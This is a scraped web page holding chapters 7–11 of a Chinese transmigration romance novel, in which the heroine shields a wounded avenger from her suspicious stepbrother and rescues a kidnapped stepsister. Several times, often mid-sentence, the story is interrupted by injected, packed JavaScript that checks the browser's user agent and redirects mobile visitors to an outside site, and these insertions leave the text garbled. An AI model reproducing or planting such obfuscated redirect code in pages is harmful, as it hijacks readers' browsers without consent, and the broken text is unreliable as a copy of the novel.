一时沉默,所有人都像是突然静止。 他忽然动了,朝李戌走去,“你身上怎么会有血腥味?” 按理来说经过遮掩处理之后,旁人闻到的应该都是那湿泥的土腥之气,而非血腥味。 魏昭不由得感慨,这人长了一个好鼻子。 幸好她是未雨绸缪的性子,不怕一万就怕万一,也已做了相应的安排。 她隐晦地递了一个眼神给李戌,李戌伸出右手,露出被包缠的手,“奴才今日劈柴,不小心砍到了自己的手。” 那包缠的布很新,渗血已干。 他不知是信了还是没信,清寒银辉的脸上没有任何波澜,正当众人都以为此事再无可疑之处时,他右手淡然地抬起,一掌击在李戌胸口上。 李戌被这突袭逼退好几步,身体踉跄不稳,面上虽有震惊,却无痛苦狰狞。 魏昭已经花容失色,像极一个被吓坏的闺阁女子。 她假装瑟瑟然时,崔绩已优雅转身。 那朝她看来的目光凝着冰,冷而平静,“人心难测,不得不防。你独身女子住在外面,便是买来的死契下人,也要多留些心。” 这话在旁人听来,是他当兄长的小心谨慎,怕她独身在外,买的下人不妥当。然而她心里明白,他分明还是心存怀疑,出手是为试探李戌有没有受伤。 如此多疑多忌,若真对他做了什么,岂能全身而退? 只是有时候真真假假虚虚实实,全都是心理战。 既然他在人前想当一个担心妹妹安危的兄长,那她也乐得做一个乖巧懂事的妹妹,遂一脸感激道:“崔少尹说的是,我记下了。” 突然正房屋顶一阵异响,大理寺的人顿时戒备起来,沈弼已经出剑。 “喵” 一声猫叫,一只猫出现在屋顶上,雪白的毛色,琉璃般的眼睛,身姿矫健高高地竖着尾巴。 “铮” 沈弼的剑收了回去。 那猫也不下来,找了个舒服的地方窝着,若是仔细瞧去,或许还能看清它半眯着眼睛的慵懒模样,似是在看热闹。 * 火光出了魏宅,嘈杂的脚步声拐了个弯。 李家的宅子几经转手,如今虽有主,却无人居住。 官差办案有搜查文书在手可直接越门而入,或许正是没有住人,依常理推断是最合适藏匿之处,那些人查找得尤为仔细。 隔着一道墙,墙那边的动静倒是能听个七七八八。 一炷香后,最里面的宅子也盘查完毕,火把的光往巷子口而去,火点越来越小,直至看不见。 魏宅没有点灯笼,仅借着星月之光,倒也能视物。 李戌目露怀念之色,看着那两棵在夜色中看不清楚的柿子树,感慨道:“这两棵树比以前粗壮了不少,也不知结出来的柿子是否还有从前一样甜如蜜,我也是多年没有吃到过了。” “自然还是甜的,等到秋天果子熟了,我派人送些给你。” 魏昭有原主的记忆,记忆中的她时常跟在李戌身后,是整个苦水巷有名的调皮孩子,却因为长得好看,街坊邻居都很包容他们。 为了感谢巷子里的人对他们的好,每到柿子成熟时,魏幸都会让他们挨家挨户地分一些,以作答谢。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823657|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一别经年,物是人非。 他是本人亲历,自是感触颇深。 而魏昭更像一个旁观者,有的只是理性客观。 “你为何刺杀江昌义?” “因为他该死!”他周身的气势一变,充满悲痛与恨意,看向魏昭的眼神有些犹豫,最后还是像下定决心般,道:“知之妹妹,你可知那杀害我爹和魏叔的郑立与江昌义是何关系?” 当年的事魏昭都是从魏绮罗口中得知的。 那郑立和李戌的父亲李威一样,皆是安元府的捕头,却是水火不容的死对头。 出事的那天晚上,李威与魏幸外出吃酒,于归家途中被郑立拦截,双双死在郑立的剑下。死状是李威将不会武的魏幸护在身下,被人从后背一剑刺穿。 案子不复杂,也很快告破。 如今李戌这么一问,她便知事情绝非表面看上去的这么简单。 “还请戌哥哥如实告之。” 一听她喊自己戌哥哥,李戌明显有几分动容,因着脸上有人皮面具,无法展现真实的表情,只能从他眼睛里看到有故人重逢的欢喜,也有背负仇恨的沉痛,“出事的那天晚上,我见爹和魏叔迟迟未归,想着他们应是喝多了,便在巷子口等着。” “你看到了。” 这不是问句,而是肯定句。 “是。”李戌的目光,因为恨意而迸发出奇异的光,“我躲在巷口的牌坊底下,眼睁睁看着他们被郑立杀害。郑立杀了他们之后,走向路边停着的一辆马车,那马车里的人掀开帘子时,我看见了他的样子。” “是江昌义。” 李戌点头,“我潜入幽篁馆杀他,曾探过他鼻息,应是咽气无疑。不想里面的人出来后皆说他已被救活,还曾亲自辨认凶手。我怕他当时是假死,欲知道消息真假,借着他被送回伯府的途中下手,不想被大理寺的人伏击。” “那你行事之时,可有人看清你的模样?” “应是没有,我一直蒙着面。” “那你应该猜到是圈套,为何还会中计?” “我忍了太多年,已顾不上那些。”李戌目露苦涩,“如果这次都没能杀死他,我不甘!” 事不关己之事,不管是高门争斗,还是官场虚实,魏昭自然都可以高高挂起,然而一旦牵扯到自己头上,便让人再也无法独善其身。 从代替原主活过来的那天起,她就自动承担原主的所有,撑起魏家的门楣,延续魏家的香火。 当然,也包括魏家的仇。 “梆梆梆梆” 四更天的更声起,月婆婆低声提醒道:“姑娘,强心丹只管两个时辰,时辰快到了,我给这小子好好处理一下伤口,让他早些歇着。” 魏昭抬头望天,似乎万千流云都随明月而行。 “兵者,诡道也。我那继兄不是一般人,他善兵法布局,手段城府绝非常人,他既然已有所怀疑,必会反复确认,我们且再等等。” 话音才一落,外面响起敲门声。 “叩叩叩” 8. 第 8 章 夜很静,这声音突兀,如鬼上门。 但鬼不可能敲门,只能是人。 风师公已悄无声息地到了门后面,屏气细听一番后对魏昭做了一个手势,苍老的声音颤颤危危,“谁啊?” “是我。” 冰玉相击的声音,还真是崔绩。 魏昭不由想起他白无常的名号,暗道这人简直就是阴魂不散。 门一开,他踱步进来,清寒可鉴明月的气质在寂夜中分外的出尘,一举一动间皆是难以描绘的从容优雅。 哪怕是刚刚才见过,该有的礼数还是得有。 魏昭上前见礼,福身相问,“崔少尹去而复返,不知还有什么事?” “私下底相见,四妹妹还是唤我一声兄长。” “兄长。” 她切换自如,看上去乖巧懂事。 崔绩的目光从她脸上掠过,接着扫向她身后的风师公月婆婆白鹤和李戌等人,目光中尽是旁人难以看懂的幽寒。 “夜这么深了,我还怕打扰到你们,却不想你们竟然都未歇下,倒是正好。” 她心里一个咯噔,暗道自己大意了。 月满则亏,过犹不及。 本意上她是想让他释疑,若单留李戌怕显得刻意,故而让所有人都没走,没想到反倒弄巧成拙。 但真论起来,她是刻意不假,难道他不是有意为之,所以他们也算得上是彼此彼此。 “他们才刚把先前被人弄乱的地方收拾好,正准备去歇息,赶巧兄长你就来了。” 说完,小声让其他人都回去歇着。 人都散去后,院子里只剩他们这对继兄妹,还有屋顶那只不知是不是已经睡去的猫。 崔绩的绯色官服在清冷月华之下颜色变暗,衬得他如玉的面庞隐有几分妖艳,像是令人惊艳又让人恐惧的血月。 月下幽冥霜满天,这句话还真贴合他的气质。 魏昭全身的神经都开始紧绷,因为她怕是下一句:雪落人间血成河。 “兄长,你可是有话要同我说?” “我以为四妹妹应该有话要和我说。” 这是在试探?还是想诈她? 根据书里的人设,她不就是个胸大无脑,貌美且蠢的工具人嘛,应该用不着男主如此费心周旋。 她装作茫然的样子,“啊”了一声。 这声又娇又软,甚至还有几分媚气。 崔绩像是心口被什么毛发给挠了一下,异样的感觉让他眯起眼来,幽凉地看着她。 她顶着一张艳玉般的脸继续扮无知,风吹起她的红衣,瑰逸又纯欲,美得像彼岸独自妖娆的红莲。 那清甜的香萦绕着,被崔绩再次捕捉到。 “先前是公务在身,不便牵扯私事,还请四妹妹谅解。” 她不谅解又能如何呢? 谁让他是男主! “兄长言重,是我方才逾越了。” 崔绩抬了一下眼,睨向紧闭着门的正屋,“四妹妹不请我进去坐坐吗?” 须臾,魏昭想到女配的剧情和任务,暗道这真是一个好机会。 这个念头一起,她立马将它压下去,因为她已决定不走剧情。 李戌服用的强心丹药力快失效,她不能再耽搁下去,必须想办法让人赶紧走。 “兄长,太晚了。” 她的犹豫不过是转瞬即逝,却清楚落在崔绩眼里,他不知是附和她的话,还是别有深意,说了一句,“也是,太晚了。” 月皎星朗人无眠,柿柿如意树下站着的不是如意人,话的也不是如意事。 她一心想赶人,不得不再次开口,“兄长,你有事不妨直言,我没关系的。” 屋顶上的白猫还在,似是已经睡着。那小小的一团沐浴在月光下,与柿子树相映成趣,颇有几分诗情画意的感觉。 崔绩的手指动了动,“我想着刚巧碰上,不如顺手帮你将那白契换成红契?” 魏昭心头一紧,面上不显。 那契纸是临时所写,原本是有备无患充当个幌子,没料到还真有人问起。假的就是假的,虚晃一二还行,万不能见真章。 “兄长公务繁忙,这等小事我不能麻烦你。” “你我兄妹,何需客气。” 她还真不是客气! 魏昭低着头,声音有些闷,“我随我娘嫁入崔家,旁人都说我们沾了天大的光。我娘再三叮嘱我,万不可借着崔家的名头行事,免得被人看轻。兄长的好意我心领了,我自己去衙门更换即可。” 崔绩不动声色地往前走了一步,压着的眉骨投下暗影,笼罩着寒潭般平静的眼睛,让人看不透。 “你当真从未借着崔家的名头行事?” “从未。” 一阵沉默,气氛怪异。 不远处,传来野猫的叫唤声,如婴儿夜啼。 屋顶上的白猫似是被惊醒,炸着毛从上面窜下来,绕过离它更近的魏昭,一下子跳到崔绩身上。 崔绩将它接住,无比自然地抱在怀中安抚。一人一猫成景,很是令人赏心悦目,又有种说不出来的诡异。 魏昭自是惊讶。 “这猫是我养的,却爱往外面跑,应是野食打得好,倒是将自己养得膘肥体壮的。它向来不怎么亲人,没想到和兄长倒是投缘。” “许是我和它有缘。”崔绩抱着猫,优雅转身,“既然四妹妹无需我帮忙,那就早些歇着。” “兄长,我的猫……” “无妨,让它送我一程。” 他动作娴熟地挠着白猫脖子处的毛,白猫立马舒服地眯起眼睛,发出欢喜的呼噜声。 * 李戌体内的强心丹药效一过,人就直直地倒下去。 月婆婆给他处理伤口上完药后端了一盆血水出来,那红艳艳的色泽让人触目惊心,冒着热气的血腥味令人作呕。 纵是小时候的玩伴,却也是男女有别。 魏昭没有进去,问她李戌情况如何。 “崔少尹那一掌看似不重,实则太过霸道,若不是他内里有皮甲护着,那血非渗出来不可。”月婆婆想了想,又加了一句,“姑娘啊,你以后再遇到你那继兄,记得远着些,他确实不是一般人。” 他是男主啊。 当然不是一般人。 甚至他们所存在的这个世间,或许都是因为他而存在。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823658|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从外表来看,他给人的感觉就是清冷矜贵的世家公子,俊美而文气。但他可不仅仅是个文臣,而是名副其实的武将。 李戌如果不是服用强心丹之后短时间内恢复精气神,又无痛感,必会露出形迹。 “那他眼下如何了?可有性命之忧?” 月婆婆叹了一口气,“他胸口的剑伤险些致命,又被强心丹强行激发出精神,药效一过就倒了。这么一来他元气损得也差不多了,怕是不养个三年五载的都缓不过来。” 如此结果并不在意料之外,其中厉害凶险魏昭已事先告知于李戌。若不是这样,今日恐怕难逃一劫。 留得青山在,不怕没柴烧。 她接过白鹤递来的纸条,看过之后脸上的笑意瞬间敛去。 “方勒说,方才沈弼带人搜查时和他提到了方娘子。他推说今日方娘子在铺子里盘货,晚上便宿在那了。” “那沈大人是怀疑什么了吗?”白鹤急问,面有担忧之色。 “应该不是。”她稍加一思索,想到了什么,“或许是他今日瞧见了我,随口多问了一句而已。” 如此看来她在幽篁馆外面的一举一动一言一行,已尽数被沈弼知晓。 蓦地,她想起之前崔绩问自己的那句话。也就是说崔绩也知道,还已推算出方娘子的东家是她! 那么他应该认定她就是个表里不一之人,当面一套背后一套,口口声声说不会借着崔家的名头谋利,私下却默许自己的人打着崔家的旗号行事。 这时隔壁的屋顶上传来一道细微的声响,她瞬间警惕,“什么人?” “喵” 白猫从冒出头来,很快跳到她跟前,围着她脚边打着转,用爪子扒拉她。 这小东西走的时候是被崔绩抱走的,那么崔绩呢? 她心头一紧,往角落里的风师公看了一眼。 风师公心领神会,如闪电般跃上隔壁的屋顶,一通环顾后下来,朝她轻轻摇了摇头。 危机解除,她绷着的神经一松。 白猫没等到她的亲近,已经抓着她的身体往上爬,被她一把揪下。 她思及这小东西方才背主的模样,故意板着脸与它对视,“当初你从屋顶掉下来浑身是伤奄奄一息,是我把你救了。这三年我好吃好喝的供着你,给你充分的自由,你倒好,遇上个头回见面的生人,你就看都不看我一眼,还跟人家私奔,有本事你别回来啊!” 难道男主的光环连一只猫都能感受到吗? 回答她的,是一连好几声喵喵叫。 白鹤听着他们一人一猫在对质,不由得“扑哧”笑出声来。 “姑娘,你就别怪白小姐了,它一个姑娘家,自是喜欢俊俏的郎君。你再是貌美如花,也比不过大公子的。” 魏昭揉了一把白小姐的头,轻哼一声,“你个重色轻友的。” “喵” 白小姐蹭着她,她这才将它给抱在怀里进屋。 月光满地,浮云散去,整个苦水巷归于寂静中。 一墙之隔的屋檐下,紧紧贴着墙的人一动不动,宛如一幅墙上美男图。 突然墙与画剥离,美男瞬间消失的无影无踪。 9. 第 9 章 * 月色如银,将人影拉长,公主府外的两尊石狮连影子都显得尤其的威风赫赫。 斗南在门口不停地徘徊着,等看到有人走近,立马迎上来。 “公子,大长公主找你。” 崔绩从容随意地抬了抬胳膊,淡淡地睨了一眼自己的衣袖。绯色的官服上,可见几根白色的猫毛。 “公子又去喂猫了?”斗南问着,与他一道往里走。 “算是吧。” 两人说话间,已经迈过侧门的门槛。 大门中门小门月洞门,光是门都不知要穿过多少道,高台筑基飞檐斗拱,回廊蜿蜒小桥流水,山洞曲折怪石嶙峋,哪怕是夜里瞧来,仍能感受到整座府邸规制的恢宏壮观。 崔绩未急着去见自己的外祖母,而是先回住处换衣服。 大气如琼楼玉宇的院子,丹楹刻桷雕梁画栋彰显着皇室荣耀,内里却空旷简单,透着无人居住冷清。 斗南打开雕刻梅花纹的衣柜,柜子里除去官服与几身代表身份地位的正服,余下的皆是一水的白衣。 他随意取出一身,侍候崔绩穿戴。 白衣胜雪,一立成画。 崔绩微低着眉,似是在看自己这一身的霜雪。 母子初见已是阴阳路,生死相隔两茫茫,他一生下来就丧母,注定一辈子着孝衣。 他抬头望向墙上的画,画中的女子华服美饰,五官精致美则美矣,眉宇间却像笼罩着一层愁绪,难掩病容与羸弱。 那是他的生母永嘉郡主萧蔚。 萧蔚是华阳大长公主独孤岚最疼爱的孩子,世人皆以为她不让女儿进崔家的门,又将外孙养在自己膝下,明显是爱屋及乌的表现。 但事实恰恰相反。 她对崔绩很冷淡,甚至可以说是漠然。 那看向崔绩的目光精明凌厉,雍容贵气却阴沉的脸色,以及微压着的嘴角都表明她的不悦,语气更是毫无怜爱之意。 “听说人没抓到,是在你和沈家那小子的眼皮子底下跑的,这事你要如何向陛下交待?” “那人敢大庭广众之下行刺,显然早有预谋,京中也定有接应之人。我与沈少卿必不遗力,尽快将其捉拿归案。” “什么尽快?你倒是与我打上官腔了!” “孙儿不敢。” “你有什么不敢的!”她冷哼一声,把玩着手中的琉璃盏。 那手指关节略粗,不似其他世家高门内的妇人手那般养尊处优,且指甲平整干干净净,未涂抹任何的蔻丹。 她是先帝的姐姐,当今陛下嫡亲的姑母,亦是独孤皇室一族地位最尊崇之人。哪怕一身素色的常服,亦难掩她的霸气尊贵。 她的大半生满是荣耀,于江山之功可载史册。平四王之乱,辅佐先帝登基,为稳固大周社稷,曾戍边十三年。 后先帝病危,她奉召回京,以一己之力整肃朝堂,外攘敌内安政,扶持今上顺利坐上龙椅,让朝野上下都幸免于一场宫斗内乱。 如今她虽年事渐高,却雷霆依旧。 “三年前你瞒着我回京,我还是从别人口中得知新上任的安元府少尹是你。这么大的事你都能暗度陈仓,你还有什么不敢的!” “是孙儿的错。” “你一向主意大,越是不让你做的,你偏要做,从小到大都是这样!” 她不知想到什么明显有些激动,胸口起伏不断,那盯着崔绩的眼睛涌动着复杂的情绪,似怨似恨,是尤是憎。 半晌,归于平静。 “罢了,过去的事多说无益。只说这次的事,那贼子实在是猖獗,天子脚下都敢当众刺杀勋贵,可见是个亡命之徒。你们办案也应知变通,不要想着捉贼留活口,当诛则诛,免得后患无穷。” “外祖母指点的是,孙儿记下了。” 崔绩由始至终都低着头,姿态恭敬顺从。 或许是他的表现不错,华阳大长公主的态度也有所缓和,“你要记住,你的命,你的名声,你所有的一切都不是你自己的,是你母亲用命换来的。她为了你的生,自己却送了性命,你万不能让她失望。” 富丽堂皇的屋子,入目所及皆是无与伦比的贵气,不拘是布局还是陈设,堪比得上宫殿,但处处都是死物的冰冷,像是毫无人气。 长辈无温暖,小辈无关爱,以冷对冷,只会更冷。 “好了,你下去吧,记得去看看你娘。” 华阳大长公主一摆手,他立马应下,然后告退。 已经五更天了,月色尤其的皎亮。 斗南看着他出来,默默地跟在他身后,不用问也知道他要去哪里。 萧蔚的牌位就供奉在生前所住的摇光阁,摇光阁的布置时时换新,紧随京中贵女间的流行应景而设,似是主人还在一般。 牌位后面的墙上,也挂着一幅画,与他屋子里的那幅一模一样。 他站了好一会儿,静静地看着那画。 良久,才燃香插上。 * 供奉亡者的香燃烧着,散发出特有的气味。 魏昭站在魏氏夫妇的牌位前,俯身拜了几拜。 她的记忆中有魏幸的存在,是个好父亲,温文尔雅脾气极好,对唯一的女儿百般呵护,但原主没有对生母的印象,所以她也没有。 但无论是否记得,他们都是她的生身父母。 而他们的仇,亦是她的仇。 她对着魏幸的牌位小声道:“李威的儿子李戌为给你报仇受了重伤,你若是泉下有知,记得保佑他平安。” 或许是他们真的泉下有知,天快亮时李戌醒了一次,很快又昏睡过去。接下来的一天里,他断断续续醒了共有三回,一次比一次时间长。 等到次日时,他已有些精神,还能被扶着坐起。先是说了一些感谢的话,几番欲言又止,最终还是开口拜托魏昭给他朋友报个平安。 魏昭没有问他那朋友是谁,直接答应下来后,带着白鹤前往城西的菜市口。 菜市口附近鱼龙混杂,三教九流都有,来往着形形色色的人,贩夫走卒苦力车夫,不时传来呼呼喝喝的声音。 墙上的告示有新有旧,有人经过时抬头看一眼,有人径直而过。不会有人在意摸着墙过的小乞儿,更不会有人在意他往墙下的一处豁口里塞了一枚未熟的青杏。 杏与幸谐音,有幸运侥幸之意,用来报平安倒是贴切。 不远处的茶楼上,镂空回字形的窗户半开着,茶香飘散出来。 以魏昭谨慎的性子,这样的事她肯定不会亲自去做,她要做的就是躲在后面暗中观察,好比如今这般。 受人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823659|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所托之事已经完成,她便不再多做停留。 才出了茶楼的门,不经意间看到一对夫妇模样的人抱着孩子往旁边的巷子里走。或许是阳光正好,或许是宝气晃人眼。她一眼就看到那妇人头上的蓝宝石簪子,与其身上寻常的衣着打扮格格不入。 安元府是一国之首城,哪怕是远在南州的蓝宝石,在京中也并不算稀奇。稀奇的是那簪子的样式,与崔明意送给她和崔氏姐妹的极其相似。 还有那被男人抱着的孩子,虽然用衣服盖着头仿佛病重的模样,但那体长身形与崔明意竟然差不多。 她低声吩咐白鹤几句,然后跟上那对夫妇。 这里地处城西,巷子纵横交错,她拐了个弯,转眼就和那对夫妇迎面遇上,装着误闯此地迷路的模样,向他们问路。 尽管她今日出门是刻意打扮低调,还蒙着面纱,但单看额头眉眼已经足够惊艳。 他们先是愣了一下,尔后皆是流露出贪婪之色。 妇人一把抓住她的胳膊,说是要带她出去。 她像是养在深闺中不知人心险恶的姑娘,信任而听话地跟他们走,走了没多远后就说走不动,非要停下来歇一歇。 他们对视一眼,交换彼此熟悉的手段。 男人将抱着的孩子放下来,慢慢地朝她走近。她看上去颇累,只顾着娇气地用右手揉着自己的腰,半低的眼睛瞥向那个孩子。 竟然真的是崔明意! 她左手似不经意般抬起,将身后妇人手上浸过迷药的帕子打落。 妇人咒骂一声,对男人吼道:“你磨蹭什么,还不快动手!” 男人一下子凶相毕现,直接朝她扑过来。 她灵巧地躲过之后,一直搁在腰间的右手刚要动,忽地听到有劲风袭来的声音,立马大声喊救命。 同时左闪右躲的,避开俩人的前后夹击,等到视线之中有人时,赶紧抱着自己的脑袋蹲到地上。 “你是什么……”男人的话还没问完,已被来人一脚踹飞。 妇人想逃,却落在斗南手上。 “四妹妹?” 魏昭听到崔绩的声音,心下一声叹息。 这也真够寸的! 她看似被吓坏了,瑟瑟发抖地抬头,作出不敢置信的样子,“兄长……” 崔绩探了一下崔明意的鼻息,然后将人抱起,再问她,“你怎么会在这里?” “我……我有个铺子在这附近,是我爹留给我的,已经赁出去几年了,也不知那租户有没有好好爱惜,就想着过来看看……那女人头上的簪子有些眼熟,抱着的孩子也像是五妹妹,我心里一着急就追过来了……” “四姑娘,你胆子可真大。”斗南已将那两人交给赶过来的衙役,衙役们很快将人给押走。 魏昭声音都在发颤,“我……胆子不大,我当时太着急了,一时什么也顾不上……” 崔绩看着她,不知是信了她的话,还是没信,目光中倒是没什么情绪,“可还能走?” “能。” 她刚一起身,脑海中骤然出现那令人不喜的冰冷机械声。 【三日限期已过,宿主没有完成剧情任务。惩罚模式开启:脑电波攻击。】 刹那之间,密密麻麻的头疼如潮水般没过她的天灵盖。 “啊!” 10. 第 10 章 突如其来的变故打了她一个措手不及,她惊呼出声的同时,整个人一下子跌坐在地。 那一波又一波的脑波冲击,似僧人手持木鱼不断地敲击着她的脑仁,耳畔尽是嗡嗡声,如磋磨心志的紧箍咒。 实在是太难受了! 既然不走剧情不完成任务有惩罚,为什么一开始不说清楚? 该死的系统! 剧情只给一半,折腾她一个女配做什么,有本事让女主赶紧出来,她一定拼尽全力把男女主送作堆,让他们日日鸳鸯被翻红浪。 她尝试在心里呼唤系统,试图与之沟通,但一点动静也没有。愤慨一下子堆积成山,她忍不住怒喊。 “出来!” 远处的杂物后面,有个瘦小的男子哆嗦着爬出来,带着哭腔一边说“我什么也没看到”,一边连滚带爬地跑远。 崔绩沁着雪的眼晴瞟了那人一眼,斗南立马追了出去。 他的视线再落到魏昭身上时带着几分不解,疑惑她这次竟然不像是装的,好看的眉头微不可见地蹙起。 “四妹妹?” 魏昭听到他的声音,感觉自己的头更疼了。 这个男主就是一切万恶的根源! 她艰难地抬起头来,纵是面纱还覆着大半张脸,也能看出她脸色的不对,光洁美好的额头渗出细密的汗珠,美目盈水控诉,又隐约像是冒着火。 崔绩感知她眼神中的不善,眉头皱得更紧了些,“四妹妹,可能站起来?” “兄长,你带五妹妹先走,我没事的……” 她怕这个人再杵着不走,自己的情绪会失控。 这时巷子前后来人,一个是沈弼,另一个是白鹤。 沈弼来得更快些,没多久就到了崔绩身边,低声相问:“你五妹妹没事吧?” 崔绩也压着声,“中了迷药而已,没多大事。” “那……”沈弼看向蹲在地上明显不对劲的魏昭,“我听说他们被你四妹妹碰巧撞上,她也险些……应是吓坏了吧。” “她父亲生前在这附近留了一个铺子给她,她今日过来是想看看租户是否爱惜,哪成想遇上这事,一时没顾上想太多,直接跟了过来,眼下自是后怕不已。” 这会儿的工夫,或许是已经适应脑波冲击的力度和频率,也或许是被白鹤扶着,魏昭感觉自己已能控制住一些,听到崔绩在为自己解释,隐隐有些纳闷。 沈弼知晓来龙去脉后,让崔绩赶紧将崔明意送回去,说是会帮着照看她。 崔绩极淡的目光在她身上定了一下,对沈弼道:“那就拜托你了。” 她望着他的背影,心情无比复杂。 书中的世界是他的,其他人全是工具人,就为了让他有厌女症,非得硬生生把她变成恶毒女配,迫使她走剧情,简直是逼良为恶! 她只想平淡稳定的生活,不与人争,不与人抢,安安静静地当他的继妹,难道这也不可以吗? 一想到从此以后她会为了完成任何而不断作死,再无平静可言,她内心涌起一阵又一阵的无力感。 “姑娘,你怎么哭了?” 听到白鹤的话,她下意识用手摸了一下自己的脸,隔着一层轻薄的纱,她的指尖感受到一点湿意。 原来她真的哭了。 她没有看到已经走出去有段距离的崔绩,脚步明显迟滞了一下。 过了一会儿,她让白鹤鹤扶自己起来。因着要忍疼而掌心成拳,松开之时在衣服上擦了擦,滑软的衣料并不吸水,晕开一抹痕迹。 沈弼见她如此模样,自来冷峻的脸上带出一抹同情,以为她纵是胆子大些,也终归是鲜少经事的闺阁姑娘。 “魏姑娘是要去哪里?去崔府,还是回魏宅,我派人送你们。” “多谢沈大人。”她强忍着难受,礼数尽到地福了福身,“我今日失态了,还请大人见谅。大人公务繁忙,我不敢耽搁,自己回去就好。若大人等会要去崔府,烦请替我代个话,就说我回去换身衣裳再去看五妹妹。” 她先前跌坐在地,衣服难免弄脏。 但崔府也有她的衣服,她完全可以直接过去,所以换衣服只是借口,真正的目的是回去取一样东西。 沈弼虽未送她们,却让自己的一个属下远远跟着她们,以确保她们的平安。 白鹤扶着她,小声道:“姑娘,你今日这一招实在是高明,莫说是大公子,就是沈少卿也不会怀疑什么。” 主仆多年亲密无间,白鹤自是知道她的本事,所以之前才会留在巷子口把风。 除了她自己,哪里会有人晓得她经历了什么,哪怕是最为亲近之人,也会以为她刚刚的种种表现都是假的。 她没法解释,也不能解释。 这终究是她一人的宿命! 回到魏宅后,李戌还在昏睡中。 她给他留了话,然后净面更衣。一切收拾妥当后,从床底下取出一个匣子,纤细的手精准地拿起靠边的小瓷瓶。 瓷瓶上贴着纸,纸上写着内流金三个字。 * 崔府已经乱成一团。 府里的下人大部分都被派出去找人,人手明显不够,大夫都是崔沪亲自去请的。 他看着躺在床上人事不知的女儿,又生气又心疼。气自己以前养女儿太心大,在南州时由着女儿随意到处跑,心疼女儿被人盯上,险些不知要被拐去哪里。 一想到若没有及时将人找到,那不堪设想的后果,他就一阵阵心悸。 张大夫给崔明意施针后没多久,她就醒了过来,面对围在床边的所有人,表情发懵眼里一片茫然。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她眼角余光瞄着视线中的那抹绯色,不明白崔绩为何先前帮她向沈弼解释,现在又替她在盛氏这里邀功。但无论什么原因,已然无法改变他们一个是男主,另一个是恶毒女配,注定要走向书中结局的命运。 如果她的头一直这么疼着,那就是生不如死。死道友不死贫道,她一个恶毒女配逞什么能,管男主厌不厌恶她,她得先活着。 所以对不住了,男主。 为了活下去她必须走剧情! 她古怪的眼神无意识落在崔绩的腰腹处,带着几分说不出来的诡异。 崔绩感知到她的目光,下腹那里莫名窜起一团火来。 11.第 11 章 崔家门第高,外重颜面,内讲风骨。 魏昭心里明白,盛氏之所以当着众人的面问她要什么,一则是想谢她,二则是想彰显自身的格局和大气。 当然,未必没有试探之意。 世族家大业大,并不介意被人沾着光,但最忌别人的贪得无厌,以及有失分寸。 如同被人念着紧箍咒般的头疼一阵又一阵,延绵不绝仿佛永远止境,莫说是注意力,便是理智也变得散乱不堪。 饶是这般境地,她仍然不忘自己的身份,道:“我们是一家人,一家人之间相互帮助都是应该的,只要五妹妹和六弟都好好的,我做什么也都值了。” 她一直以来的表现都是安安静静不争不抢,谨守着自己的本分,所以对于她的这番话,不仅不会让人觉得虚伪,反倒让人感慨她的实诚。 盛氏见她不邀功不显摆,还言行有度,看她的眼神带着几分满意。 “是个好孩子,颇有几分我们崔家人的气节。” 很是寻常的一句夸奖,却让人红了眼。 崔明淑不满的不仅是她出了风头,还因沈弼之前替她说话,且多看了她两眼。 沈弼是济宁侯府的世子爷,是安远府数得上名的青年才俊,亦是不少世家夫人高门闺秀眼里的乘龙怪婿。 他头回来崔家时,崔明淑就相中了他。 原本只要防着嫡出的崔明静,没想到一个出身低微的继女却冒了尖,如何不让她又嫉又恼,嫉恼魏昭长了一张勾人的脸蛋,目光不断地飞着眼刀子。 “怎么哪都有她。” 虽是极小声一句不满,却是听者有意。 林氏对盛氏的话深表赞同,“昭丫头确实是个好孩子。这次的事幸好是有惊无险,确实是多亏了她,她先是救了砚哥儿的命,今日又救了云娘,还真是我们崔家的福星。” 福星二字一出,憋了一肚子不满的崔明淑瞬间黑了脸,当下脱口而出,“她克父克母,算哪门子的福星?” 克父克母四个字,让所有人都沉默了。 一时之间,气氛无比的怪异。 盛氏脸色一沉,凌厉的目光中全是不悦,“生老病死,皆有定数,亦是天意,何来谁克谁一说。你是我崔家姑娘,这些年的书难道都读到狗肚子里去了吗?我看你尚缺教化,以后每日多读两个时辰的书,不读完不许出门!” 